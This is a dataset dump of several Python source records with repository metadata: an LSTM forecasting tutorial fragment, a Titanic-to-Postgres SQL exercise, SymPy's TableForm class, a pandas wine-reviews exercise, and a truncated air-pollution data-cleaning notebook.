Method\ndo_lstm_model(df = df_prophet, \n              ts = 'y', \n              look_back = 3, \n              epochs = 5)\n\n# LSTM for Regression with Time Steps\ndo_lstm_model(df = df_prophet, \n              ts = 'y', \n              look_back = 3, \n              epochs = 5, \n              type_ = 'regression with time steps')\n\n# # LSTM with Memory Between Batches\n# do_lstm_model(df = df_prophet, \n#               ts = 'y', \n#               look_back = 3, \n#               epochs = 5, \n#               type_ = 'memory between batches')\n\n# # Stacked LSTMs with Memory Between Batches\n# do_lstm_model(df = df_prophet, \n#               ts = 'y', \n#               look_back = 3, \n#               epochs = 5, \n#               type_ = 'stacked with memory between batches')\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "dcc573c40bed41b8c4b2da5db09a3bc5f0caeb62", "size": 34109, "ext": "py", "lang": "Python", "max_stars_repo_path": "PyData_LA_2018_Tutorial.py", "max_stars_repo_name": "MaximilianFreitag/JupyterNotebooks", "max_stars_repo_head_hexsha": "18a5e9fbea976e15b6cc9e997792b19259f6a118", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2021-08-04T15:31:32.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-22T21:00:11.000Z", "max_issues_repo_path": "PyData_LA_2018_Tutorial.py", "max_issues_repo_name": "MaximilianFreitag/JupyterNotebooks", "max_issues_repo_head_hexsha": "18a5e9fbea976e15b6cc9e997792b19259f6a118", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PyData_LA_2018_Tutorial.py", "max_forks_repo_name": "MaximilianFreitag/JupyterNotebooks", "max_forks_repo_head_hexsha": "18a5e9fbea976e15b6cc9e997792b19259f6a118", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.0513565891, "max_line_length": 394, "alphanum_fraction": 0.6536984374, "include": true, "reason": "import numpy,from statsmodels", "num_tokens": 8725, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.14414884751767365, "lm_q1q2_score": 0.07038548869391123}}
{"text": "import psycopg2\r\nimport psycopg2.extras\r\nimport pandas as pd\r\nimport numpy as np\r\nimport itertools\r\n\r\n\r\n# Error on the titanic from github\r\n# url = 'https://github.com/henryspg/DS-Unit-3-Sprint-2-SQL-and-Databases/blob/master/module2-sql-for-analysis/titanic.csv'\r\n# url = 'https://github.com/LambdaSchool/DS-Unit-3-Sprint-2-SQL-and-Databases/blob/master/module2-sql-for-analysis/titanic.csv'\r\n# titanic = pd.read_csv(url, sep= '\\t')\r\n\r\n# I use titanic downloaded to my directory\r\ntitanic = pd.read_csv('titanic.csv')\r\ntitanic.columns = ['Survived', 'Pclass', 'Name', 'Sex', 'Age', 'SibSp', 'Pchild', 'Fare' ]\r\n\r\n# For early check\r\n# print(titanic.head(3))\r\n\r\n# Credentials\r\ndbname = 'tpeczybx'\r\nuser = 'tpeczybx'  # ElephantSQL happens to use same name for db and user\r\npassword = 'zzzzz'  \r\nhost = 'isilo.db.elephantsql.com'\r\n\r\n\r\n# cursors and connections\r\npg_conn = psycopg2.connect(dbname=dbname, user=user,\r\n                           password=password, host=host)\r\n\r\npg_curs = pg_conn.cursor()\r\n\r\n\r\n# Create table\r\ncreate_table1 = \"\"\"\r\nDROP TABLE IF EXISTS titanic;\r\nCREATE TABLE titanic (  \r\n    Survived  INT8,\r\n    Pclass  INT8,\r\n    Name   varchar(120),\r\n    Sex    varchar(10),\r\n    Age    INT8,\r\n    SibSp  INT8,\r\n    Pchild INT8,\r\n    Fare   FLOAT\r\n\r\n);\r\n\"\"\"\r\n\r\npg_curs.execute(create_table1)\r\npg_conn.commit()\r\n\r\n\r\n# TEST if the empty table is created\r\npg_curs.execute('SELECT * FROM titanic;')\r\n# print(\"\\nCheck if the empty table is created :\\n\" , pg_curs.fetchall())\r\n\r\n####################################################################\r\n\r\n# from https://stackoverflow.com/questions/23103962/how-to-write-dataframe-to-postgres-table\r\n\r\ndf_columns = list(titanic)\r\n# create (col1,col2,...)\r\ncolumns = \",\".join(df_columns)\r\n\r\n# create VALUES('%s', '%s\",...) one '%s' per column\r\nvalues = \"VALUES({})\".format(\",\".join([\"%s\" for _ in df_columns])) \r\n\r\n#create INSERT INTO table (columns) VALUES('%s',...)\r\ninsert_stmt = \"INSERT INTO {} ({}) {}\".format(\"titanic\",columns,values)\r\n\r\n# cur = conn.cursor()\r\npsycopg2.extras.execute_batch(pg_curs, insert_stmt, titanic.values)\r\n\r\n######################### below this line is from the lecture ##################################\r\n\r\npg_conn.commit()\r\n\r\npg_curs.execute('SELECT * FROM titanic;')\r\n# print(\"\\nFINAL TITANIC TABLE ['Survived', 'Pclass', 'Name', 'Sex', 'Age', 'SibSp', 'Pchild', 'Fare']:: \\n\\n\" , pg_curs.fetchall())\r\n\r\n# pg_curs.close() ###\r\n\r\n\r\n######################### The above code was from Module 2, and below code if from Module 4 ##################################\r\n######################### The above code was from Module 2, and below code if from Module 4 ##################################\r\n\r\n\r\n\r\n# Questions\r\nsurvived = \"\"\"\r\nselect count(*) from titanic\r\nwhere Survived = 1;\r\n\"\"\"\r\n\r\npg_curs.execute(survived)\r\nprint(\"\\n1a-Total survived :\\n\" , pg_curs.fetchall()[0][0] )\r\n\r\n\r\ndied = \"\"\"\r\nselect count(*) from titanic\r\nwhere Survived = 0;\r\n\"\"\"\r\n\r\npg_curs.execute(died)\r\nprint(\"\\n1b Total died :\\n\" , pg_curs.fetchall()[0][0] )\r\n\r\n##################################################################################\r\n\r\npassenger_class = \"\"\"\r\nselect count(*), Pclass from titanic\r\nGROUP BY Pclass;\r\n\"\"\"\r\n\r\npg_curs.execute(passenger_class)\r\nprint(\"\\n2 Total (passenger, each_class) :\\n\" , pg_curs.fetchall() )\r\nprint()\r\n\r\n# This code didnt work\r\n# P_class = [lis[1] for lis in pg_curs.fetchall()] \r\n# print(\"\\n\\nPclass\", P_class)\r\n\r\n\r\n\r\n##################################################################################\r\nsurv1_class = \"\"\"\r\nselect count(*), Pclass from titanic\r\nwhere Survived = 1\r\nGROUP BY Pclass;\r\n\"\"\"\r\n\r\npg_curs.execute(surv1_class)\r\nprint(\"\\n3a Total Survived(passenger, each_class) :\\n\" , pg_curs.fetchall() )\r\n\r\n##################################################################################\r\nsurv0_class = \"\"\"\r\nselect count(*), Pclass from titanic\r\nwhere Survived = 0\r\nGROUP BY Pclass;\r\n\"\"\"\r\n\r\npg_curs.execute(surv0_class)\r\nprint(\"\\n3b Total Died(passenger, each_class) :\\n\" , pg_curs.fetchall() )\r\n\r\n##################################################################################\r\nAge_survive = \"\"\"\r\nselect avg(Age), Survived from titanic\r\nGROUP BY Survived;\r\n\"\"\"\r\n\r\npg_curs.execute(Age_survive)\r\nprint(\"\\n4 Passengers(Age, survived/death) :\\n\" , pg_curs.fetchall() )\r\n\r\n##################################################################################\r\nAge_Pclass = \"\"\"\r\nselect avg(Age), Pclass from titanic\r\nGROUP BY Pclass;\r\n\"\"\"\r\n\r\npg_curs.execute(Age_Pclass)\r\nprint(\"\\n5 Average age of each Pclass(Age, class) :\\n\" , pg_curs.fetchall() )\r\n\r\n\r\n##################################################################################\r\nFare_Pclass = \"\"\"\r\nselect avg(Fare), Pclass from titanic\r\nGROUP BY Pclass;\r\n\"\"\"\r\n\r\npg_curs.execute(Fare_Pclass)\r\nprint(\"\\n6a Average Fare of each Pclass(Fare, class) :\\n\" , pg_curs.fetchall() )\r\n\r\n##################################################################################\r\nFare_Survive = \"\"\"\r\nselect avg(Fare), Survived from titanic\r\nGROUP BY Survived;\r\n\"\"\"\r\n\r\npg_curs.execute(Fare_Survive)\r\nprint(\"\\n6b Average Fare by survival(Fare, survival) :\\n\" , pg_curs.fetchall() )\r\n\r\n##################################################################################\r\nSibSp_Pclass = \"\"\"\r\nselect count(SibSp), Pclass from titanic\r\nGROUP BY Pclass;\r\n\"\"\"\r\n\r\npg_curs.execute(SibSp_Pclass)\r\nprint(\"\\n7a Sibling/Spouse by Pclass(count, Pclass) :\\n\" , pg_curs.fetchall() )\r\n##################################################################################\r\nSibSp_survival = \"\"\"\r\nselect count(SibSp), Survived from titanic\r\nGROUP BY Survived;\r\n\"\"\"\r\n\r\npg_curs.execute(SibSp_survival)\r\nprint(\"\\n7b Sibling/Spouse by survival(count, survival) :\\n\" , pg_curs.fetchall() )\r\n##################################################################################\r\nPchild_pclass = \"\"\"\r\nselect avg(Pchild), Pclass from titanic\r\nGROUP BY Pclass;\r\n\"\"\"\r\n\r\npg_curs.execute(Pchild_pclass)\r\nprint(\"\\n8a Average parent-children by Pclass(average, pclass) :\\n\" , pg_curs.fetchall() )\r\n\r\n##################################################################################\r\nPchild_survival = \"\"\"\r\nselect avg(Pchild), Survived from titanic\r\nGROUP BY Survived;\r\n\"\"\"\r\n\r\npg_curs.execute(Pchild_survival)\r\nprint(\"\\n8b Average parent-children by survival(average, survival) :\\n\" , pg_curs.fetchall() )\r\n\r\n##################################################################################\r\nsame_name = \"\"\"\r\nselect count(Name) - count (distinct Name) from titanic\r\n\r\n\"\"\"\r\n\r\npg_curs.execute(same_name)\r\nprint(\"\\n9 How many passangers have the same name? :\\n\" , pg_curs.fetchall() )\r\n##################################################################################\r\nprint(\"\\n10 In the list, not all married couple have the same last names.\\n   just like: Cumings, Samaan... etc\\n\")\r\n##################################################################################\r\n\r\n##################################################################################\r\n\r\n\r\npg_conn.commit()\r\npg_curs.close() ###\r\n", "meta": {"hexsha": "744779aacb4f9cc59b5b4be392089c80cbb497ed", "size": 6995, "ext": "py", "lang": "Python", "max_stars_repo_path": "module4-acid-and-database-scalability-tradeoffs/u3s2m4_titanic.py", "max_stars_repo_name": "henryspg/DS-Unit-3-Sprint-2-SQL-and-Databases", "max_stars_repo_head_hexsha": "cde748a863baf40d22cdee68965ae4bbb8680ad3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-08-15T17:44:45.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-15T17:44:45.000Z", "max_issues_repo_path": "module4-acid-and-database-scalability-tradeoffs/u3s2m4_titanic.py", "max_issues_repo_name": "henryspg/DS-Unit-3-Sprint-2-SQL-and-Databases", "max_issues_repo_head_hexsha": "cde748a863baf40d22cdee68965ae4bbb8680ad3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "module4-acid-and-database-scalability-tradeoffs/u3s2m4_titanic.py", "max_forks_repo_name": "henryspg/DS-Unit-3-Sprint-2-SQL-and-Databases", "max_forks_repo_head_hexsha": "cde748a863baf40d22cdee68965ae4bbb8680ad3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.0214592275, "max_line_length": 133, "alphanum_fraction": 0.5282344532, "include": true, "reason": "import numpy", "num_tokens": 1623, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3849121444839335, "lm_q2_score": 0.18242551936144574, "lm_q1q2_score": 0.07021779786600942}}
{"text": "from sympy.core.containers import Tuple\nfrom sympy.core.singleton import S\nfrom sympy.core.symbol import Symbol\nfrom sympy.core.sympify import SympifyError\n\nfrom types import FunctionType\n\n\nclass TableForm:\n    r\"\"\"\n    Create a nice table representation of data.\n\n    Examples\n    ========\n\n    >>> from sympy import TableForm\n    >>> t = TableForm([[5, 7], [4, 2], [10, 3]])\n    >>> print(t)\n    5  7\n    4  2\n    10 3\n\n    You can use the SymPy's printing system to produce tables in any\n    format (ascii, latex, html, ...).\n\n    >>> print(t.as_latex())\n    \\begin{tabular}{l l}\n    $5$ & $7$ \\\\\n    $4$ & $2$ \\\\\n    $10$ & $3$ \\\\\n    \\end{tabular}\n\n    \"\"\"\n\n    def __init__(self, data, **kwarg):\n        \"\"\"\n        Creates a TableForm.\n\n        Parameters:\n\n            data ...\n                            2D data to be put into the table; data can be\n                            given as a Matrix\n\n            headings ...\n                            gives the labels for rows and columns:\n\n                            Can be a single argument that applies to both\n                            dimensions:\n\n                                - None ... no labels\n                                - \"automatic\" ... labels are 1, 2, 3, ...\n\n                            Can be a list of labels for rows and columns:\n                            The labels for each dimension can be given\n                            as None, \"automatic\", or [l1, l2, ...] e.g.\n                            [\"automatic\", None] will number the rows\n\n                            [default: None]\n\n            alignments ...\n                            alignment of the columns with:\n\n                                - \"left\" or \"<\"\n                                - \"center\" or \"^\"\n                                - \"right\" or \">\"\n\n                            When given as a single value, the value is used for\n                            all columns. The row headings (if given) will be\n                            right justified unless an explicit alignment is\n                            given for it and all other columns.\n\n                            [default: \"left\"]\n\n            formats ...\n                            a list of format strings or functions that accept\n                            3 arguments (entry, row number, col number) and\n                            return a string for the table entry. (If a function\n                            returns None then the _print method will be used.)\n\n            wipe_zeros ...\n                            Do not show zeros in the table.\n\n                            [default: True]\n\n            pad ...\n                            the string to use to indicate a missing value (e.g.\n                            elements that are None or those that are missing\n                            from the end of a row (i.e. any row that is shorter\n                            than the rest is assumed to have missing values).\n                            When None, nothing will be shown for values that\n                            are missing from the end of a row; values that are\n                            None, however, will be shown.\n\n                            [default: None]\n\n        Examples\n        ========\n\n        >>> from sympy import TableForm, Symbol\n        >>> TableForm([[5, 7], [4, 2], [10, 3]])\n        5  7\n        4  2\n        10 3\n        >>> TableForm([list('.'*i) for i in range(1, 4)], headings='automatic')\n          | 1 2 3\n        ---------\n        1 | .\n        2 | . .\n        3 | . . .\n        >>> TableForm([[Symbol('.'*(j if not i%2 else 1)) for i in range(3)]\n        ...            for j in range(4)], alignments='rcl')\n            .\n          . . .\n         .. . ..\n        ... . ...\n        \"\"\"\n        from sympy.matrices.dense import Matrix\n\n        # We only support 2D data. Check the consistency:\n        if isinstance(data, Matrix):\n            data = data.tolist()\n        _h = len(data)\n\n        # fill out any short lines\n        pad = kwarg.get('pad', None)\n        ok_None = False\n        if pad is None:\n            pad = \" \"\n            ok_None = True\n        pad = Symbol(pad)\n        _w = max(len(line) for line in data)\n        for i, line in enumerate(data):\n            if len(line) != _w:\n                line.extend([pad]*(_w - len(line)))\n            for j, lj in enumerate(line):\n                if lj is None:\n                    if not ok_None:\n                        lj = pad\n                else:\n                    try:\n                        lj = S(lj)\n                    except SympifyError:\n                        lj = Symbol(str(lj))\n                line[j] = lj\n            data[i] = line\n        _lines = Tuple(*[Tuple(*d) for d in data])\n\n        headings = kwarg.get(\"headings\", [None, None])\n        if headings == \"automatic\":\n            _headings = [range(1, _h + 1), range(1, _w + 1)]\n        else:\n            h1, h2 = headings\n            if h1 == \"automatic\":\n                h1 = range(1, _h + 1)\n            if h2 == \"automatic\":\n                h2 = range(1, _w + 1)\n            _headings = [h1, h2]\n\n        allow = ('l', 'r', 'c')\n        alignments = kwarg.get(\"alignments\", \"l\")\n\n        def _std_align(a):\n            a = a.strip().lower()\n            if len(a) > 1:\n                return {'left': 'l', 'right': 'r', 'center': 'c'}.get(a, a)\n            else:\n                return {'<': 'l', '>': 'r', '^': 'c'}.get(a, a)\n        std_align = _std_align(alignments)\n        if std_align in allow:\n            _alignments = [std_align]*_w\n        else:\n            _alignments = []\n            for a in alignments:\n                std_align = _std_align(a)\n                _alignments.append(std_align)\n                if std_align not in ('l', 'r', 'c'):\n                    raise ValueError('alignment \"%s\" unrecognized' %\n                        alignments)\n        if _headings[0] and len(_alignments) == _w + 1:\n            _head_align = _alignments[0]\n            _alignments = _alignments[1:]\n        else:\n            _head_align = 'r'\n        if len(_alignments) != _w:\n            raise ValueError(\n                'wrong number of alignments: expected %s but got %s' %\n                (_w, len(_alignments)))\n\n        _column_formats = kwarg.get(\"formats\", [None]*_w)\n\n        _wipe_zeros = kwarg.get(\"wipe_zeros\", True)\n\n        self._w = _w\n        self._h = _h\n        self._lines = _lines\n        self._headings = _headings\n        self._head_align = _head_align\n        self._alignments = _alignments\n        self._column_formats = _column_formats\n        self._wipe_zeros = _wipe_zeros\n\n    def __repr__(self):\n        from .str import sstr\n        return sstr(self, order=None)\n\n    def __str__(self):\n        from .str import sstr\n        return sstr(self, order=None)\n\n    def as_matrix(self):\n        \"\"\"Returns the data of the table in Matrix form.\n\n        Examples\n        ========\n\n        >>> from sympy import TableForm\n        >>> t = TableForm([[5, 7], [4, 2], [10, 3]], headings='automatic')\n        >>> t\n          | 1  2\n        --------\n        1 | 5  7\n        2 | 4  2\n        3 | 10 3\n        >>> t.as_matrix()\n        Matrix([\n        [ 5, 7],\n        [ 4, 2],\n        [10, 3]])\n        \"\"\"\n        from sympy.matrices.dense import Matrix\n        return Matrix(self._lines)\n\n    def as_str(self):\n        # XXX obsolete ?\n        return str(self)\n\n    def as_latex(self):\n        from .latex import latex\n        return latex(self)\n\n    def _sympystr(self, p):\n        \"\"\"\n        Returns the string representation of 'self'.\n\n        Examples\n        ========\n\n        >>> from sympy import TableForm\n        >>> t = TableForm([[5, 7], [4, 2], [10, 3]])\n        >>> s = t.as_str()\n\n        \"\"\"\n        column_widths = [0] * self._w\n        lines = []\n        for line in self._lines:\n            new_line = []\n            for i in range(self._w):\n                # Format the item somehow if needed:\n                s = str(line[i])\n                if self._wipe_zeros and (s == \"0\"):\n                    s = \" \"\n                w = len(s)\n                if w > column_widths[i]:\n                    column_widths[i] = w\n                new_line.append(s)\n            lines.append(new_line)\n\n        # Check heading:\n        if self._headings[0]:\n            self._headings[0] = [str(x) for x in self._headings[0]]\n            _head_width = max([len(x) for x in self._headings[0]])\n\n        if self._headings[1]:\n            new_line = []\n            for i in range(self._w):\n                # Format the item somehow if needed:\n                s = str(self._headings[1][i])\n                w = len(s)\n                if w > column_widths[i]:\n                    column_widths[i] = w\n                new_line.append(s)\n            self._headings[1] = new_line\n\n        format_str = []\n\n        def _align(align, w):\n            return '%%%s%ss' % (\n                (\"-\" if align == \"l\" else \"\"),\n                str(w))\n        format_str = [_align(align, w) for align, w in\n                      zip(self._alignments, column_widths)]\n        if self._headings[0]:\n            format_str.insert(0, _align(self._head_align, _head_width))\n            format_str.insert(1, '|')\n        format_str = ' '.join(format_str) + '\\n'\n\n        s = []\n        if self._headings[1]:\n            d = self._headings[1]\n            if self._headings[0]:\n                d = [\"\"] + d\n            first_line = format_str % tuple(d)\n            s.append(first_line)\n            s.append(\"-\" * (len(first_line) - 1) + \"\\n\")\n        for i, line in enumerate(lines):\n            d = [l if self._alignments[j] != 'c' else\n                 l.center(column_widths[j]) for j, l in enumerate(line)]\n            if self._headings[0]:\n                l = self._headings[0][i]\n                l = (l if self._head_align != 'c' else\n                     l.center(_head_width))\n                d = [l] + d\n            s.append(format_str % tuple(d))\n        return ''.join(s)[:-1]  # don't include trailing newline\n\n    def _latex(self, printer):\n        \"\"\"\n        Returns the string representation of 'self'.\n        \"\"\"\n        # Check heading:\n        if self._headings[1]:\n            new_line = []\n            for i in range(self._w):\n                # Format the item somehow if needed:\n                new_line.append(str(self._headings[1][i]))\n            self._headings[1] = new_line\n\n        alignments = []\n        if self._headings[0]:\n            self._headings[0] = [str(x) for x in self._headings[0]]\n            alignments = [self._head_align]\n        alignments.extend(self._alignments)\n\n        s = r\"\\begin{tabular}{\" + \" \".join(alignments) + \"}\\n\"\n\n        if self._headings[1]:\n            d = self._headings[1]\n            if self._headings[0]:\n                d = [\"\"] + d\n            first_line = \" & \".join(d) + r\" \\\\\" + \"\\n\"\n            s += first_line\n            s += r\"\\hline\" + \"\\n\"\n        for i, line in enumerate(self._lines):\n            d = []\n            for j, x in enumerate(line):\n                if self._wipe_zeros and (x in (0, \"0\")):\n                    d.append(\" \")\n                    continue\n                f = self._column_formats[j]\n                if f:\n                    if isinstance(f, FunctionType):\n                        v = f(x, i, j)\n                        if v is None:\n                            v = printer._print(x)\n                    else:\n                        v = f % x\n                    d.append(v)\n                else:\n                    v = printer._print(x)\n                    d.append(\"$%s$\" % v)\n            if self._headings[0]:\n                d = [self._headings[0][i]] + d\n            s += \" & \".join(d) + r\" \\\\\" + \"\\n\"\n        s += r\"\\end{tabular}\"\n        return s\n", "meta": {"hexsha": "4322924ff1c7218da7e6ea039da713506d66e342", "size": 11799, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/printing/tableform.py", "max_stars_repo_name": "yupbank/sympy", "max_stars_repo_head_hexsha": "66d7aef9dc1b26055af22e27ba42004c40b95d7c", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-11-19T03:38:42.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-19T03:38:42.000Z", "max_issues_repo_path": "sympy/printing/tableform.py", "max_issues_repo_name": "yupbank/sympy", "max_issues_repo_head_hexsha": "66d7aef9dc1b26055af22e27ba42004c40b95d7c", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sympy/printing/tableform.py", "max_forks_repo_name": "yupbank/sympy", "max_forks_repo_head_hexsha": "66d7aef9dc1b26055af22e27ba42004c40b95d7c", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.1498637602, "max_line_length": 79, "alphanum_fraction": 0.4385117383, "include": true, "reason": "from sympy", "num_tokens": 2818, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.14608725076600915, "lm_q1q2_score": 0.07019180912770517}}
{"text": "\"\"\"\nSelecting Data III - Access Single Values\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nwine_reviews = pd.read_csv('../../winemag-data-130k.csv')\n\n# Print the value in the 5th column of the 7th row.\nprint(wine_reviews.iloc[6,5]) # Sicily & Sardinia\n\n\n# Create a Series called \"countries\" from the 'country' column and print item at index 18.\ncountries = wine_reviews['country']\nprint(countries.iloc[18]) # Spain\n\n\n# Print the 10th item in countries.\nprint(countries.loc[9]) # France\n\n", "meta": {"hexsha": "b552aedbbe3127db77c31f1eda93d21985579cea", "size": 486, "ext": "py", "lang": "Python", "max_stars_repo_path": "pset_pandas1_wine_reviews/selecting_data/solutions/p3.py", "max_stars_repo_name": "mottaquikarim/pydev-psets", "max_stars_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2019-04-08T20:05:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T20:48:45.000Z", "max_issues_repo_path": "pset_pandas1_wine_reviews/selecting_data/solutions/p3.py", "max_issues_repo_name": "mottaquikarim/pydev-psets", "max_issues_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-04-15T15:16:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T10:33:32.000Z", "max_forks_repo_path": "pset_pandas1_wine_reviews/selecting_data/solutions/p3.py", "max_forks_repo_name": "mottaquikarim/pydev-psets", "max_forks_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-10T00:14:42.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-26T20:35:21.000Z", "avg_line_length": 23.1428571429, "max_line_length": 90, "alphanum_fraction": 0.7263374486, "include": true, "reason": "import numpy", "num_tokens": 131, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.07019180823456414}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sklearn\n\n\n# In[2]:\n\n\npollution = pd.read_excel('PM2.5climate.xlsx')\npollution.head()\n\n\n# In[3]:\n\n\npollution.shape\n\n\n# Because the data have been preprocess, most of the variables will not be changed.\n# For data cleaning, we will check duplicated and empty variables and then make a decision whether to \n# keep, change or drop the variables\n\n# In[4]:\n\n\nprint('Total Missing values:', round((pollution['pm2.5'].isnull().sum()/43824)*100,2),'%')\n\n\n# As seen in the exploratory data, only one attribute have 2061 missing values, which is 0.047 or 4.7% of the total dataset observations.\n\n# ---\n\n# ## Dropping Variables\n# \n# ## Missing Values\n\n# In[5]:\n\n\npollution.drop(columns = ['No','hour', 'year', 'day'], inplace=True)\npollution.head()\n\n\n# In[6]:\n\n\npollution.dropna(inplace = True)\npollution.reset_index(drop = True, inplace = True)\npollution.head()\n\n\n# In[7]:\n\n\npollution['pm2.5'].isnull().sum()\n\n\n# In[8]:\n\n\npollution.shape\n\n\n# All the missing values have been dropped because, as observed in the exploration, the missing values are in the target variable. If they had not been dropped, that would skew our regression results because it would not give any prediction for the level of pollution.\n# \n# In addition, the missing values will not overall impact the dataset as it accounts for only 5% total. We chose not to replace the missing values because it was such a small portion of the dataset and replacing it could cause bias and it was a safer option to remove them than replace them.\n# \n# No. has been dropped because it does not give any information since it is simply the row number of the observation.\n# \n# Hour was dropped because it is a minute detail in pollution levels and we want to explore larger trends in the level s of pollution. We want to understand the long-run trend in the level of pollution and hour is a very short-term measure.\n# \n# Similarly, day is also a short-term measure that we are not interested in exploring. \n# \n# Year was dropped because in our exploration it was found that it was not correlated with the level fo pollution and, hence, we decided to drop it.\n\n# Let us rename the variables for better understanding:\n\n# In[9]:\n\n\npollution.columns\n\n\n# In[10]:\n\n\nnames = dict(DEWP = 'dewTemp', TEMP = 'temp', PRES = 'pres', cbwd = 'windDir',\n             Iws = 'windSpeed', Is = 'cumSnow', Ir = 'cumRain')\npollution.rename(columns = names, inplace = True)\npollution.columns\n\n\n# In[11]:\n\n\npollution['windDir'].replace({'cv':'SW'}, inplace = True)\npollution['windDir'].value_counts()\n\n\n# #### About the project\n# \n# The next step will be exploring the outliers in the dataset.\n# First part of this visualization will be shown with outliers included and the second part the visualizations will be plotted after removing outleirs. \n# \n# For the data analysis, there will be two regression models shown. The first model will be the model with outliers and the second model is after removing outliers. Towards the end, we will be comparing both models and see which one is most reliable model to be used for the predictions\n# \n\n# ---\n\n# ## Outliers\n\n# In[12]:\n\n\nfrom scipy import stats\nimport numpy as np\n\nz2 = np.abs(stats.zscore(pollution[['month', 'pm2.5', 'dewTemp', 'temp', 'pres', 'windSpeed', 'cumSnow', 'cumRain']]))\nprint(z2)\n\n\n# In[13]:\n\n\nthreshold = 3\nprint(np.where(z2 > 3))\n\n\n# In[14]:\n\n\noutliers2 = pollution[(z2 >=3)]\noutliers2\n\n\n# In[15]:\n\n\npd.set_option('display.max_rows', 1000)\nother2 = pollution[(z2 < 3).all(axis=1)]\nother2\n\n\n# The first table shows the values of the outliers and the second table shows the values of the dataset without the outliers. Looking at these values, we can see that the values of cumSnow and cumRain are the same for both tables (outliers and non-outliers). We do not see a reason to find z-scores of these two columns since their values are close and removing them based on their z-scores would be unreasonable causing some bias. \n# \n# Hence, let us find outliers based on the z-scores of all numerical features except cumSnow and cumRain.\n\n# In[16]:\n\n\nfrom scipy import stats\nimport numpy as np\n\nz = np.abs(stats.zscore(pollution[['month', 'pm2.5', 'dewTemp', 'temp', 'pres', 'windSpeed']]))\nprint(z)\n\n\n# In[17]:\n\n\nthreshold = 3\nprint(np.where(z > 3))\n\n\n# In[18]:\n\n\noutliers = pollution[(z >=3)]\noutliers.shape\n\n\n# In[19]:\n\n\npd.set_option('display.max_rows', 1000)\nother = pollution[(z < 3).all(axis=1)]\nother\n\n\n# Let us create a new dataframe without the outliers:\n\n# In[20]:\n\n\npollution.shape\n\n\n# In[21]:\n\n\npollution2 = pollution[(z < 3).all(axis=1)]\npollution2.shape\n\n\n# In[22]:\n\n\npollution2.reset_index(drop = True, inplace = True)\npollution2.head(10)\n\n\n# Removing outliers based on numerical features, except cumSnow and cumRain, results in fewer outliers being removed; approximately 2,000 rows have not been removed compared to the rows removed when cumSnow and cumRain were used in z-score calculations. This is interesting because it shows that values that are not much different from other observations can be removed due to minor differences. Hence, it is important to look at the outliers to determine if they should be removed for further model creation.\n\n# In[23]:\n\n\nprint('The data frame without outliers is', round((pollution2.shape[0]/pollution.shape[0]),2),      '% smaller than the original dataframe')\n\n\n# ---\n\n# ## One-Hot Encoding\n\n# Let us one-hot encode the windDir variable since it is categorical. \n# \n# We have to one-hot encode this variable because it has string values and we will give 0, 1 values to each value of the variable.\n\n# ##### Dataset with Outliers\n\n# In[24]:\n\n\nfrom sklearn.preprocessing import OneHotEncoder\n\nwindDirection = OneHotEncoder()\nwindDirectionDF = windDirection.fit_transform(pollution[['windDir']])\nwindDirectionDF = pd.DataFrame(windDirectionDF.toarray())\nwindDirectionDF.columns = windDirection.get_feature_names()\nwindDirectionDF.head()\n\n\n# In[25]:\n\n\npollution.drop(columns = ['windDir'], inplace = True)\npollution.head()\n\n\n# In[26]:\n\n\npollutionDF = pd.concat([pollution, windDirectionDF], axis = 1)\npollutionDF.head()\n\n\n# In[27]:\n\n\npollutionDF.columns\n\n\n# In[28]:\n\n\ncolnames = ['month', 'dewTemp', 'temp', 'pres', 'windSpeed', 